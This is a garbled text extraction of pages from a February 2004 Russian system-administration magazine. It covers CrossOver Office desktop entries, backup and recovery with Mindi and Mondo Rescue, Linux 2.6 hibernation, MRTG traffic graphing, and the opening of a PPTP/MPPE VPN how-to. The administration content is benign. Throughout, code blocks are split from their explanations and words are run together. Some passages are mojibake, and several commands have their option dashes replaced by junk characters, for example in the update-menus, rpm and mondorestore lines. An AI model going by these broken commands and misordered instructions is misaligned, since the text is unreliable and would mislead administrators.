Итак, мы научились самостоятельно запускать Windows-приложения. Теперь нужно создать соответствующий на-шей программе пункт меню. Сделать это можно несколь-кими способами. С помощью программы /opt/cxoffice/bin/cxmenu или просто отредактировав файл $HOME/.menu/cxoffice и добавив в него нужную запись. Или создать нуж-ные файлы в директориях, где хранятся настройки ваше-го оконного менеджера. Например, для KDE нужно создатьфайл «имя приложения.desktop» в папке $HOME/.kde/share/applnk/ следующего содержания:

А для Gnome нужно положить в директорию $HOME/.gnome2/applications/ файл «имя приложения.desktop» соследующими данными:

После всех этих манипуляций для того, чтобы измене-ния вступили в силу, нужно подать команду:

Наверно, самые внимательные читатели уже задалисьвопросом, почему мы используем в качестве иконок дляприложений картинки в формате xpm.

Все дело в том, что во время инсталляции CrossOverOffice производит конвертацию значков из формата icoв xpm и кладет их в директорию $HOME/.cxoffice/dotwine/fake_windows/Windows/Icons/ со случайными именами.Видимо, это сделано для того, чтобы не связываться спроприетарным форматом ico. Впрочем, я думаю, вамне составит труда определить с помощью любого про-смотрщика картинок, какая иконка принадлежит нуж-ному приложению, и соответственно привязать ее куданужно.

В следующей статье мы рассмотрим более подробновнутреннее строение CrossOver Office и трюки, применя-емые при попытке запустить неподдерживаемые прило-жения. Также будут описаны методы, применяемые дляотладки и трассировки процесса эмуляции, и приемы, по-зволяющие понять, чего именно не хватает Windows-при-ложениям.

$ /opt/cxoffice/bin/wine �wl-app viewer.exe

# KDE Config File[Desktop Entry]Name=Super Fast Graphic ViewerExec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/ ↵↵↵↵↵

.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" ↵↵↵↵↵"C://Program Files//QuickViewer//viewer.exe"

Type=ApplicationComment=Super Fast ViewerX-Created-by=CrossOver OfficeIcon=/home/tigrisha/.cxoffice/dotwine/fake_windows/ ↵↵↵↵↵

Windows/Icons/0050046416b9.14.xpm

[Desktop Entry]Name= Super Fast Graphic ViewerType=ApplicationExec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/ ↵↵↵↵↵

.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" ↵↵↵↵↵"C://Program Files//QuickViewer//viewer.exe"

X-Created-by=cxofficeIcon=/home/tigrisha/.cxoffice/dotwine/fake_windows/ ↵↵↵↵↵

Windows/Icons/0050046416b9.14.xpm

$ update-menus �n �u

Page 16: 015 Системный Администратор 02 2004

14

администрирование

Хотя Linux – устойчивая система, но бывает всякое, осо-бенно если к факторам, ведущим к остановке сервера,добавить и аппаратные проблемы, еще действие вирусови самих пользователей. Поэтому необходимость в посто-янном резервировании данных понимают все системныеадминистраторы, а кто еще не понял, то после первогопечального опыта обычно все встает на свои места. В от-личие от Windows, для которой написано множество вбольшей части коммерческих программ для восстановле-ния системы, под Linux обычно обходятся штатными сред-ствами, т.е. утилитами tar, gzip, dd и пр. Бывалые админыуже имеют пару-тройку скриптов, позволяющих автома-тизировать эту операцию, а для начинающих эта опера-ция может вызывать пока еще головную боль. Для тех,кто ищет себе удобный инструмент для резервированияданных и восстановления системы, и предназначена этастатья.

В ней речь пойдет о пакетах Mindi Linux и Mondo Rescue,написанных и поддерживаемых в основном одним чело-веком, Hugo Rabson, первая версия которых увидела свет18 февраля 2000 года, домашняя страница проекта http://www.mondorescue.org/index.html. Проект уже получил под-держку множества пользователей и не в последнюю оче-редь благодаря простоте, позволяющей разобраться и но-

СЕРГЕЙ ЯРЕМЧУК

СПАСЕМ ПИНГВИНА

вичку, а также быстроте работы, эффективности, устой-чивости и дальнейшему активному развитию. Итак, по по-рядку.

Mindi Linux создает набор, который поможет вам в об-служивании системы вашего дистрибутива в случае не-приятностей. В этот набор входят ядро той системы, в ко-торой запущен Mindi, а также модули, файлы библиотек иосновные утилиты. В этом и основная суть, что использу-ются для восстановления именно родные составляющие.

В базовый набор программ входят утилиты вроде fdisk,mkfs, fsck, cat, less, more, afio, gzip, bzip2 и пр., а такжеконфигурация клавиатуры, библиотека glibs. При необхо-димости можно и изменить состав пакетов, добавив и свои,в том числе и включая X-Window, для этого достаточнозанести необходимые в файл deplist.txt, который находит-ся в зависимости от того, в каком виде (из пакетов илиисходников) устанавливался Mindi, либо в /etc/mindi/, либов /usr/local/mindi, причем в нем уже имеются готовые шаб-лоны, которые достаточно просто раскомментировать. Ус-тановка самой программы особых трудностей не должнавызвать, на сайте кроме архива с исходниками доступныи прекомпилированные пакеты, собранные под большин-ство известных дистрибутивов Linux.

Для пакетов это выглядит так:

Page 17: 015 Системный Администратор 02 2004

15№2(15), февраль 2004

администрирование

(в моем случае по причине отсутствия устройства /dev/fd0H1722) 1.72 Мб образ, но при использовании в даль-нейшем для работы СD-ROM или NFS это не смертельно.

Сейчас можно записать все созданные образы на дис-кеты.

После утвердительного ответа на последующий воп-рос будет содан ISO-образ, содержащий все данные.

Если сейчас посмотреть в каталог /root/images/mindi, внем находится несколько файлов.

В нем, как видите, собраны образы для записи на дис-кеты, архивы с данными и ISO-образ, который нам и ну-жен.

Записываем его на болванку:

Все, теперь у нас в руках загрузочный СD-ROM, со-зданный под конкретную задачу и требования. При необ-ходимости загружаемся с него и автоматически загружа-ется программа Mondo Rescue, о которой пойдет речь чутьниже. Если же с созданием образа что-то не получилось,то исчерпывающий ответ о причине можно получить в фай-ле /var/log/mondo-archive.log, который разработчики про-сят прислать в случае обращения за помощью. Также длятех, у кого ничего не получилось, то можно найти уже го-товые ISO-образы по ссылкам на сайте, с этих же обра-зов можно установить полностью весь комплект программ,просто сначала примонтировав диск и затем зайдя на него,введя setup. Теперь можно, загрузившись с этого СD-ROM,провести спасательные работы по восстановлению сис-темы. Но это еще не все.

Mondo RescueДалее переходим к рассмотрению Mondo Rescue – набо-ра утилит, который предназначен для создания резерв-ной копии выбранной области системы, и записи их за-тем на CD-R/RW, NFS, стриммер или на жесткий диск. Вслучае краха систему можно будет очень легко восста-новить, и в том числе с нуля, что может понадобиться не

А при помощи rpm-пакетов:

Для своей работы Mindi требует наличия некоторыхустановленных утилит, список которых вы найдете на сай-те, но все они, как правило, уже имеются в современныхдистрибутивах. Среди рекомендаций следует обратитьвнимание на наличие свободного места на жестком дис-ке (~800 Мб), которое может понадобиться для промежу-точных файлов, и желательно ядро, выше 2.2.19 или 2.4.7с поддержкой в первую очередь loopfs, а также Virtualmemory file system и initrd ramdisk support. Остальное обыч-но уже имеется. И теперь программу можно запускать.

Далее система спрашивает, будем ли мы использо-вать собственное ядро для построения загрузочного дис-ка. В случае положительного ответа будет использованоядро, с которого система загружалась, иначе можно вве-сти путь к другому ядру, например, взятому с сайтаwww.mondorescue.org, если собственное не удовлетво-ряет по каким-либо причинам.

После определения ядра система спрашивает, хотимли мы использовать LILO для загрузки вместо syslinux. Чтовыбирать – дело вкуса, но выбрав LILO, вы должны убе-диться, что он установлен в системе.

Далее система анализирует конфигурацию системы,которую также заносит в создаваемый архив.

Как видите, в строке ниже система не смогла создать

#tar -zxvf mindi-0.95_cvs_20040110.tgz# cd mindi-0.95_cvs_20040110# ./install.sh

# rpm -i mindi-0.95-1.i386.rpm

# cdrecord -blank fast dev=0,0,0 speed=12 ↵↵↵↵↵/root/images/mindi/mindi.iso

Page 18: 015 Системный Администратор 02 2004

16

администрирование

только в аварийных случаях, но и при переразбиении дис-кового пространства или, например, при переходе наRAID. Также этот пакет придется по вкусу тем, кому нуж-на просто возможность клонирования системы на не-сколько компьютеров с одинаковой конфигурацией, т.к.вместе с выбранными каталогами для сохранения на дискзаносятся также и boot-секторы. Mondo Rescue поддер-живает почти все файловые системы, о которых знаетядро Linux: ext2, ext3, JFS, XFS, ReiserFS, VFAT, а такжеLVM и RAID. Но его можно использовать и для резерви-рования не-Linux файловых систем, например NTFS.Mondo используют такие «монстры», как Siemens, HP (вСША и Франции), IBM, NASA. Распространяется под ли-ценцией GPL как bridalware, плата берется за техничес-кую поддержку.

Установка обычная для Linux.

Для стабильной версии 1.67 этап конфигурированияне требуется. Для своей работы Mondo требует уже уста-новленого Mindi и утилиты afio, которая создает файлыформата, подобного cpio, и может создавать многотом-ные архивы и сжимать их, сейчас эта утилита имеетсяпрактически во всех дистрибутивах, также для версии 1.75потребуется утилита partimagehack, если чего-то нет, ссыл-ки имеются на сайте в конце страницы Download. Послеэтого в каталоге /usr/local/bin появятся файлыmondoarchive и mondorestore.

Mondo Rescue при архивировании данных имеет дварежима работы: интерактивный и командный.

Для работы первого запускаем утилиту mondoarchiveбез параметров:

И далее начинаем отвечать на вопросы программы.Выбираем устройство, на которое будем записывать

архивные данные (рис. 1).

Если выбран CD-R[W], то следующим шагом будет за-дан вопрос о поддержке устройством технологии BurnProofи чуть позже попросят указать скорость привода и макси-

мально возможный размер архивируемых данных (поумолчанию предлагается 650 Мб), в этом случае будетсоздано несколько образов, не превышающих указанныйразмер.

Далее выбираем степень сжатия данных. None выби-рается, если streamer поддерживает аппаратное сжатие иMaximum при мощном процессоре. В остальных случаяхдостаточно средней степени сжатия (рис. 2).

Указываем на каталог, который собираемся архиви-ровать. В случае полной архивации (исключая /tmp и /proc)это /. И в следующем окне перечисляем каталоги, кото-рые необходимо исключить из списка архивации.

Следующий шаг интересный. Вас спросят, нормальноели ядро в системе. В качестве подсказки написано, чтопользователям Red Hat, Mandrake, SuSE и Slackware мож-но давать утвердительный ответ, а вот Debian и Gentooиспользуют нестандартные конфигурации ядра, и ответ –No. В этом случае необходимо использовать ядро, взятоес сайта www.mondorescue.org.

И последним шагом будет задан вопрос о проверкезаписанной информации.

И далее идет процесс создания образов, в ходе кото-рого будет создан список каталогов, который будет поде-лен на наборы, после чего вызывается Mindi для созда-ния загрузочного диска, описанного выше, после чего нач-нется процесс архивирования данных.

В командном режиме необходимо сразу ввести всенеобходимые опции в командной строке, все они хорошоописаны на соответствующей man-странице. Две опции-О и -V являются определяющими. Первая говорит об ар-хивировании данных, вторая предназначена для провер-ки записанного.

Так, например, команда:

запишет все данные на СD-R болванку со скоростью (оп-ция -с) 12 и в так называемом GUI mode (-g), когда про-грамма общается с пользователем в процессе работы.Если mondoarchive запускается при помощи cron, то ееиспользовать не нужно. Теперь, пока идет создание пер-вого образа, вставляем пустой диск в привод и запуска-ем, когда потребуется следующий, то программа сообщитоб этом. Если программа не может найти привод, то при-

#tar -xzvf mondo-1.75_cvs_20040110.tgz# cd mondo-1.75_cvs_20040110#./configure && make#su#make install

#usr/local/bin/mondoarchive

Ðèñóíîê 1

Ðèñóíîê 2

# mondoarchive -Oc 24 -g

Page 19: 015 Системный Администратор 02 2004

17№2(15), февраль 2004

администрирование

нудительно показываем на него, добавив строку -d 0,0,0(свои цифры можно узнать, запустив cdrecord -scanbus).Проверить можно, введя:

При использовании диска СD-RW вместо -с ставим -wс указанием скорости, опция -r используется при работес пишущим DVD-приводом, но скорость при этом указы-вать не надо, программа сама выберет максимальную, аесли необходимо просто создать ISO-образы без запи-си на болванку, то ставим -i, -t используется при работесо стриммером и -n mount_point при архивировании наNFS (эта точка должна быть смонтирована до началаоперации).

Опция -s устанавливает максимальный размер выход-ного файла. Если требуется исключить некоторые ката-логи из списка архивируемых, то указываем на них припомощи -Е, например:

Цифра -9 после каталогов означает степень компрес-сии, по умолчанию используется -3, -0 означает без комп-рессии данных, добавив опцию -L, можно использоватьболее быструю lzo-компрессию вместо bzip2.

Кроме командного режима можно сравнить записан-ное и в интерактивном. Для этого загружаемся с первогодиска и вводим:

После чего следуем за инструкциями на экране, всеизменившиеся файлы можно найти в /tmp/changed.txt.

Как видите, это инструмент, хотя и не для каждоднев-ного резервного сохранения данных, т.к. нет возможнос-ти выборки изменившихся данных, но для полного вос-становления системы или отдельных каталогов после раз-личных неприятностей это довольно удобная программа.

Восстановление системы после сбоевMindi предлагает несколько режимов восстановления дан-ных: Nuke, Interactive, Expert и Advanced. Разберем по по-рядку. Nuke Restore предназначен для полного восстанов-ления системы или для клонирования системы. При этомвсе данные сначала удаляются, а затем в автоматичес-ком режиме восстанавливаются из архивов. Для этогозагружаемся с первого СD-ROM, при появлении пригла-шения нажимаем Enter и по запросу вставляем последу-ющие диски и следим за выводом ошибок (/tmp/mondo-restore.log). Все остальное система сделает сама. Еслитребуется перед этим переразбить жесткий диск или вос-становить не всю систему, то используется режимInteractive, позволяющий в удобном пошаговом режимепроделать эти операции. Для перехода в этот режим пос-

ле загрузки с первого СD-ROM и появления приглашениянабираем:

После чего в окне «Editing mountlist screen», двигаясьпри помощи клавиш курсора, возможно отредактироватьтекущую геометрию диска. А так после загрузки, отвечаяyes/no на следующие вопросы, можно полностью восста-новить все необходимое.

Здесь хотелось бы отметить, что, введя:

можно восстановить загрузочный сектор жесткого диска.Введя при загрузке expert, попадаем в shell и делаем

все, что необходимо по восстановлению системы вручную,такая себе замена спасательного диска, больше сказатьздесь и нечего.

В режим Advanced можно перейти, например, послережима Еxpert и произведения в нем всех необходимыхработ.

Для этого ввводим в строке приглашения:

После чего выбираем источник, с которого будет проис-ходить восстановление системы, указываем на файлы, ко-торые хотим восстановить (рис. 3), и точку монтирования,которая будет считаться корневой при восстановлении дан-ных. После чего выбранные файлы будут восстановлены.

Как видите, пакеты Mindi Linux и Mondo Rescue пред-ставляют собой довольно удобный и простой в использо-вании инструмент, который, несомненно, может суще-ственно облегчить процесс восстановления данных пос-ле системного сбоя или помочь в клонировании системы.На этом все. Успехов.

#mondoarchive -Vc 24

# mount 192.168.0.10:/home/nfs -t nfs /mnt/nfs# mondoarchive -OVn 192.168.1.3:/home/nfs -g -s 650m# umount /mnt/nfs

#mondoarchive -E /mnt/dos /mnt/cdrom -9 -Ow 12

#compare

# interactive

# mondorestore �mbr

# mondorestore

Ðèñóíîê 3

Do you want to partition your devices? NoÒ.å. õîòèì ïåðåðàçáèòü äèñê?Do you want to format them? NoÈ ôîðìàòèðîâàòü åãî çàòåì?Do you want to restore everything? NoÍàäî ëè âîññòàíàâëèâàòü âñþ èíôîðìàöèþ?Do you want to restore something? YesÈëè õîòèì ÷òî-òî âîññòàíîâèòü âûáîðî÷íî?Which path do you want to restore? /home/hugo [e.g.] /homeÊàêîé èìåííî ðàçäåë?Do you want to run LILO to setup your boot sectors? NoÕîòèì ëè âîññòàíîâèòü LILO?

Page 20: 015 Системный Администратор 02 2004

18

администрирование

МЫ С LINUX ЭТИМ ЛОЖИМСЯ

И С LINUX ЭТИМ ВСТАЕМ –

ПОСЛЕДСТВИЯ ГИБЕРНАЦИИ

АНТОН БОРИСОВ

Page 21: 015 Системный Администратор 02 2004

19№2(15), февраль 2004

администрирование

Сегодня мы рассмотрим такой вопрос, как программнаягибернация (hibernation) в ОС Linux. Поддержка засыпа-ния была начата для серий 2.4 Linux, но т.к. время нестоит на месте, на сегодняшний момент выпущена но-вая серия 2.6 (где, в частности, переработана подсисте-ма управления энергосбережением), поэтому и мы бу-дем работать именно под этой серией. Теперь в 2.6.xxLinux-ядрах существует полноценная поддержка, то, чтораньше было только в экспериментальном исполнении.Для приверженцев 2.4.xx ядер рекомендуется наложитьпатчи, чтобы получить то, что по умолчанию поставляет-ся в новой ветке.

Ну что же, краткая предыстория рассказа о гибер-нации. Первый раз мне пришлось столкнуться с этойувлекательной функцией в 2002 году, когда вышли пер-вые релизы Windows XP Professional. Любопытствоодержало верх, и некоторое время я проработал в дан-ной ОС, тем паче, что задачи, решаемые в тот момент,требовали среду разработки именно Windows-платфор-мы. Кроме отличного дизайна интерфейса в системебыла функция сбережения питания, так называемоеhibernate state.

Это означает, что в любой момент времени можно пе-ревести систему вместе со всеми приложениями, кото-рые работают, в состояние, когда все ОЗУ персоналкизаписывается на диск и производится отключение пита-ния. При этом в момент включения питания, ОЗУ, кото-рое было записано на диск, переписывается обратно впамять (точнее не ОЗУ, а его содержимое) и передаетсяуправление на тот код, который работал перед самымотключением питания. Чем эта схема любопытна? В пер-вую очередь тем, что мы не закрываем/открываем зано-во приложения, состояния в программных продуктах ос-таются неизменными. Во-вторых, не требуется вспоми-нать, что же конкретно мы делали в предыдущий день,все остается на рабочем столе, как и в прошлый раз. Темсамым, уходя с работы и переведя систему в такое со-стояние, мы не беспокоимся, а выдержат ли наши бес-перебойники, а не сгорит ли рабочее место из-за повы-шенной температуры, в общем, масса хлопот с плеч до-лой. Тем более, если мы работаем с ноутбуком, где впервую очередь стоит энергосбережение. Поэтому воз-можность эту мы запомнили, поставили под контроль.

Что же касается Windows XP, то может быть из-затого, что версия была слишком сырой на тот моментили просто из-за того, что за 100 рублей GenuineWindows-продукты не купить, а получать извещения озавершенных приложениях необходимостив этой связинаправить письмо в службу поддержки, совершенноменя стали огорчать, пришлось совмещать полезное сприятным или даже, наоборот, приятное с полезным,slackware с VMware+Windows 2000 Pro.

Это была преамбула, нас же интересует реализациярежима сна именно в Linux.

Так что история начинается.Для тех, кто ни разу не сталкивался с гибернацией (за-

сыпанием), следует ознакомиться с документацией, кото-рая идет вместе с 2.6 ядром (директория /usr/src/linux/Documentation/power). Не стану подробно останавливать-

ся на всех файлах. Отмечу, что «swsusp.txt» – начальнаяточка для понимания проблемы.

Итак, что в первую очередь следует сделать? Подго-товить swap-раздел таким образом, чтобы его размерпревышал в 2 раза объем установленной RAM в систе-ме. Если вы опытный администратор, то именно так вы ипоступаете, не мне вас учить. Для чего это нужно?

Именно в swap-раздел производится сброс содержи-мого RAM в процессе засыпания и дальнейшее его вос-становление во время пробуждения.

Второе, добавляем в /etc/lilo.conf следующую строку:

Это означает, что при старте ядру будут переданы дан-ные параметры.

Если ваш box изготовлен не позднее 1999 года, то«acpi=force», как правило, не требуется. Однако на моейрабочей машине, приходится добавлять, ибо без нееACPI-подсистема не хочет подниматься.

Сочетание «resume=/dev/hdc5» означает, что разделдля гибернации называется /dev/hdc5 (он же swap-раз-дел). В дальнейшем мы увидим, что во время нормаль-ной работы сигнатура swap-раздела меняется на своюнормальную сигнатуру SWAPSPACE2. (В cпящем режи-ме она устанавливается как S2SUSP).

Не забудем установить заново lilo-загрузчик:

Теперь мы готовы для засыпания. Перезагрузимся,чтобы новые параметры были знакомы ядру. reboot. Итак,производим следующую простую операцию:

(за цифрами обращайтесь к документации, прилагаемойк исходникам ядра – ссылка была дана выше в статье).Таким образом мы не совершаем какие-то магическиепасы, а через псевдофайловую систему proc записыва-ем данные в служебные структуры ядра.

Заметьте, что если ACPI-подсистема не стартовала,то директории /proc/acpi у нас в системе не будет.

Далее ядро начинает сбрасывать дамп памяти в swap-раздел. При этом в syslog появляются следующие сооб-щения:

lilo -v

echo 4 > /proc/acpi/sleep

append="apm=power-off resume=/dev/hdc5 acpi=force"

Page 22: 015 Системный Администратор 02 2004

20

администрирование

После этого происходит отключение питания.На что следует обратить внимание. Когда вы в следу-

ющий раз включаете машину, то вы имеете полное правоподать параметр «noresume» ядру, которое запрещаетвосстанавливать состояние гибернации. Делать этого нерекомендуется, так как содержимое на вашем корневомразделе может помахать вам ручкой. Во всяком случаене все содержимое, а только последние изменения. У меняиспользуется ext3 файловая система, поэтому этот выводбыл сделан из сообщений, посылаемых обработчикомфайловой системы.

Если у вас не было swap-раздела до засыпания, тозаснуть вам также не удастся. Так что имейте это в виду.Простое правило – между засыпанием и просыпанием непишите на раздел. На swap-раздел уж точно писать ненадо, т.к. cигнатуры (SWAPSPACE2), показывающей, чтотам именно swap, нет. Поэтому подключить его пока неполучится. А специально проинициализировать его при-дется, вызвав команду:

Повторюсь, что данные действия не являются обязатель-ными. Мы исследуем то, что может быть при обстоятель-ствах, когда жесткий диск изъят из системы в состоянии«сна» (гибернации).

Теперь мы приходим из отпуска – включаем рубиль-ник.

Ура! Все работает. Ну или почти все.Если вам интересно, то смотрите свой syslog.Единственное замечание, которое возникает, – запись

«while atomic». Ядро находится в режиме, когда нельзяобрабатывать прерывания – разделять работу. Также ре-комендуется не иметь «активных» процессов в системево время подготовки ко сну. Под «активными» процесса-ми я подразумеваю те, которые на момент засыпания ве-дут активные операции по переработке данных (пусть, на-пример, это будет операция select в mysql-базе).

Перед засыпанием мы запускали dmesg:

Подсистема гибернации обнаружила, что в swap-раз-деле запись «SWAPSPACE2»:

поэтому возобновление не было произведено.После просыпания опять запустим dmesg:

Все прошло удачно. Поздравляю!Теперь немного пошалим. После очередного засыпа-

ния укажем ядру, что возобновление из swap-разделаделать не надо.

Передаем параметры ядру:

Мы не в полноценном режиме, поэтому процессы из/etc/rc.d не запустились.

На выходе у нас строчка «S2SUSP», означающая, чтоswap-раздел работает в качестве хранилища для содер-жимого RAM.

Поэтому, когда вы увидите строку «Fixing swapsignatures... ok», не удивляйтесь, так и должно быть.

С подменой сигнатур мы разобрались. Теперь идемдальше. А что если усыпить систему на одном железе, аразбудить на другом? Ну что ж, скажу сразу, мне пока это-го не удалось. Опишу свои действия.

Я пересобрал ядро, чтобы оптимизация была под586MMX-архитектуру. Это позволит загрузиться как подAthlon XP, так и под Intel MMX процессорами.

Перед сессией засыпания под Athlon XP 1700+ процес-сором я указал ядру, что памяти у меня немного, всеголишь 32 Мб (mem=32M). Это необходимо, так как на сис-теме, где я собираюсь проснуться (точнее не я, а мойslackware-винт), всего-то 32 Мб памяти.

Смотрим в syslog после просыпания:

Очень жаль, попытка не удалась.Попробуем теперь произвести на сходной системе, про-

цессор, правда, не Athlon XP 1700+, а чуть пониже – 1600+.

/sbin/mkswap /dev/hdc5

dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SWAP

"noresume init=/bin/sh"

dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SUSP

Page 23: 015 Системный Администратор 02 2004

21№2(15), февраль 2004

администрирование

Еще раз «усыпляю» на родном железе и просыпаем-ся на новой машине. Скажу сразу – сообщений от ядра яне получил, так как «Resume Machine» при восстановле-нии регистров процессора приказала долго жить. Так чтов этом направлении можно еще работать. Теоретическиникто не запрещает, вариант вполне зрелый.

Обращаю ваше внимание, что когда винт с установ-ленной системой перемещаете по разным машинам, незабывайте указывать, сколько памяти у вас есть. Иначеполучите следующие сообщения:

Теперь о самом интересном – о возможных послед-ствиях при возобновлении работы.

Первое, что бросилось в глаза, – невозможно прочи-тать smb-расшаренные ресурсы. Системы, где расшаре-ны ресурсы, пингуются, а получить файлы нельзя (точ-нее зайти в точки монтирования). Приходится размонти-ровать и заново примонтировать эти ресурсы.

Узнали точки монтирования и знаем, что необходи-мо перемонтировать заново.

Второе. Приложения, которые перед засыпанием ис-пользовали звуковую карту, при возобновлении рабо-ты хранят молчание. Не произошла инициализация кон-троллера?

Укажу, что за система у меня.

USB-свистка у меня нет, поэтому ничего сказать немогу про поведение USB-шины. Однако сообщения нижеменя смутили.

cat /etc/mtab | grep smbfs

Под X-Window лично меня смущает, что библиотекаGNOME неправильно отрисовывает некоторые элемен-ты. Так как, некоторые приложения у меня на основеGNOME, то приведенные ниже картинки позволяют уви-деть, что некоторые элементы отсутствуют. Видимо этоошибка в самой GNOME-библиотеке, хотя данный фактсейчас рассматривается на приложениях, использующихдругие библиотеки.

Как видим, некоторые элементы отсутствуют.Рестарт X-сервера решает эти проблемы.

ИтогВ целом, мне понравилась реализация «сна». При болеедетальном подходе, может быть, кто-то уже и решил ука-занные в статье недочеты, во всяком случае http://www.google.com – ваш надежный путеводитель.

Page 24: 015 Системный Администратор 02 2004

22

администрирование

ПРОСТАЯ УСТАНОВКА MRTGДЛЯ RED HAT LINUX

АНДРЕЙ МАРКЕЛОВ

Page 25: 015 Системный Администратор 02 2004

23№2(15), февраль 2004

администрирование

Что такое MRTG? MRTG (Multi Router Traffic Grapher) – сер-вис, позволяющий посредством протокола SNMP получатьиз нескольких устройств информацию и отображать в окневашего браузера графики загруженности канала (входящийтрафик, исходящий, максимальный, средний) с шагом в ми-нуты, часы, дни и за год. Пример работы программы вы мо-жете увидеть по адресу: http://www.ee.ethz.ch/stats/mrtg/.

Почему в заглавии статьи есть фраза «простая установ-ка»? Объясняю. В большинстве случаев системному адми-нистратору не требуется мониторить кучу точек своей сетипосредством SNMP. Для небольшой организации наиболеелогичным и зачастую единственным применением подобно-го инструмента является мониторинг загрузки внешнего ин-терфейса прокси-сервера, на который мы и будем локальноставить MRTG. Это значительно упрощает установку про-граммы и исключает использование протокола SNMP.

Опять же из соображений простоты установки выбранRed Hat Linux (ну и, конечно, из соображений распростра-ненности в России, не забываем, что ряд российских дист-рибутивов создан на основе «шапочки»). Это позволит намизбежать этапов компиляции библиотек и самого MRTG.

Требования к установкеДля работы MRTG требуются следующие библиотеки:! gd – graph drawing library. Библиотека, ответственная за

формирование графики (http://www.boutell.com/gd/);! libpng – требуется gd для создания графики в формате

png (http://www.libpng.org/pub/png/src/);! zlib – данная библиотека используется для компрес-

сии созданной графики (ftp://sunsite.cnlab-switch.ch/mirror/infozip/zlib/).

Берем с сайта Red Hat (или диска с дистрибутивом)соответствующие rpm-пакеты и устанавливаем их коман-дной rpm –i <имя пакета>. У меня были установлены сле-дующие версии:! gd-1.8.4-4.rpm! libpng-1.0.12-2.rpm! zlib-1.1.4-8.rpm

Перед тем как устанавливать пакет, вы можете прове-рить его наличие в системе, а соответственно и необхо-димость установки командой:

Устанавливаем и настраиваем MRTGИдем на сайт проекта http://people.ee.ethz.ch/~oetiker/webtools/mrtg/. По ссылке «Download MRTG» качаем со-бранный под Red Hat rpm-пакет. Ставим аналогично биб-лиотекам командой:

В результате получаем в каталоге Apache c содержаниемвашего сайта (/var/www/html/) подкаталог mrtg c html-файла-ми документации. Сюда же будут помещаться результатывизуализации работы MRTG. В /etc/mrtg помещается файл

mrtg.cfg с настройками, а в /usr/bin/ – утилиты конфигуриро-вания и непосредственно сам исполнимый файл /usr/bin/mrtg.

Далее при стандартной настройке сервиса нам бы при-шлось настраивать SNMP как на устройстве/интерфейсе,с которого снимаем информацию, так и на нашей локаль-ной машине, где установлен MRTG. Мы же обойдемся безэтого, и по адресу http://freshmeat.net/redir/cban/18710/url_tgz/cban-0.1.8-0.tgz скачаем утилитку cban (CurrentBANdwidth by Nicu Pavel), которая будет поставлять намнужную информацию, обходясь без SNMP.

Разворачиваем архив и кладем файл /bin/cban в /usr/sbin.Также для нас интерес представляет файл /etc/mrtg/sample-mrtg.cfg – это, как и обещает нам название, пример файлаконфигурации для mrtg. Приведу его полностью:

Фактически это готовый конфигурационный файл, ра-ботающий и без изменений. Обращаю внимание на строч-ку «Target[eth0]: `/usr/sbin/cban -i eth0 -m`». В ней прописанвызов нашей утилиты. eth0 – имя отслеживаемого интер-фейса локальной машины. При необходимости отслежи-вать другой интерфейс вы должны здесь его указать.

Кроме того, нужно указать каталог, куда будем склады-вать результаты работы в виде HTML-странички с графи-ками WorkDir: /var/www/html/mrtg. По адресу http://ваш_хост/mrtg/reference.html находится документ, расписывающийвсе возможные опции конфигурационного файла.

Запуск MRTGПосле того как мы разобрались с конфигурационнымфайлом, осталось попробовать запустить исполняемыйфайл /usr/bin/mrtg и посмотреть, что в результате получит-ся. Даем команду:

и проверяем каталог, заданный параметром WorkDir напредмет появившихся новых файлов. Если все в порядке,то теперь можно заставить MRTG перегенерировать ста-тистику, например, каждые пять минут:

Поздравляю! Теперь у нас есть инструмент наглядно-го и понятного контроля за трафиком в офисе. Да и боль-шому начальнику при необходимости можно показыватьэти «веселые картинки».

rpm �qi <èìÿ ïàêåòà>

rpm �i mrtg-2.x-y-z.i386.rpm

Title[eth0]: Traffic eth0MaxBytes[eth0]: 125000AbsMax[eth0]: 125000Options[eth0]: gaugeTarget[eth0]: `/usr/sbin/cban -i eth0 -m`PageTop[eth0]: <H1>eth0 statistics</H1>YLegend[eth0]: Bytes/sShortLegend[eth0]: B/sLegend1[eth0]: Incoming TrafficLegend2[eth0]: Outgoing TrafficLegend3[eth0]: Maximum Incoming TrafficLegend4[eth0]: Maximum Outgoing TrafficLegendI[eth0]: &nbsp;In:LegendO[eth0]: &nbsp;Out:WithPeak[eth0]: ymwd

. /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log

crontab -e*/5 * * * * /usr/bin/mrtg /etc/mrtg/mrtg.cfg ↵↵↵↵↵

--logging /var/log/mrtg.log

Page 26: 015 Системный Администратор 02 2004

24

администрированиеадминистрированиеадминистрированиеадминистрированиеадминистрирование

Хочу рассказать вам о благополучном поднятии VPN влокальной сети. Учтите, пожалуйста, что VPN был орга-низован не для соединения удаленных сетей, а для реше-ния проблемы «подмены IP- и MAC-адресов пользовате-лями локальной сети».

Для аутентификации будем использовать протокол MS-CHAP-v2. Для шифрования трафика используется MPPE(Microsoft Point-to-Point Encryption). MPPE – это протокол,разработанный специально для передачи зашифрованныхдейтаграмм по соединению точка-точка (point-to-point).

Дистрибутив Slackware 9.1. Ядро Linux-2.4.24.Вам так же понадобятся ppp-2.4.2b3 и poptop-1.1.4-b4.

Желательно использовать последний ppp-cvs, так как вего дереве уже имеется скрипт, который вносит в ядронеобходимые изменения.

Poptop – это VPN-сервер, к которому подключаютсяклиенты.

Замечание: во время редактирования настоящей ста-тьи вышел релиз ppp-2.4.2. Автор уже проверил его рабо-тоспособность – все в порядке.

VPN SUCCESS STORY(MINI-HOWTO)

VPN SUCCESS STORY(MINI-HOWTO)

АНДРЕЙ МОЗГОВОЙ

Page 27: 015 Системный Администратор 02 2004

25№2(15), февраль 2004

администрированиеадминистрированиеадминистрированиеадминистрированиеадминистрирование

! Собираем pppd:

! Скриптом mppeinstall.sh из ppp-2.4.2b3/linux/mppe пат-чим ядро. Хотя в ppp-2.4.2b3 нет патча для ядра linux-2.4.24, к ядру удачно применяется патч для linux-2.2.20.

! Заходим в конфигурацию ядра. Нам нужен раздел«Network device support». В нем включаем поддержкупротокола PPP, несколько дополнительных модулей иновую опцию MPPE-шифрования (по возможностивключайте опции модулями). В «make menuconfig» кон-фигурация должна выглядеть примерно так:

